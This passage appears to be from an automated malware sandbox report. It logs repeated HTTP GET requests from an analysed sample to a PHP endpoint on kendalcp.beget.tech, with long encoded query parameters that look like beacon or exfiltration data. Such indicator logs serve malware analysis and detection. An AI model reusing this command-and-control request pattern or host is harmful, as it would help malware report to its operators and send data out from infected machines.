ZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3l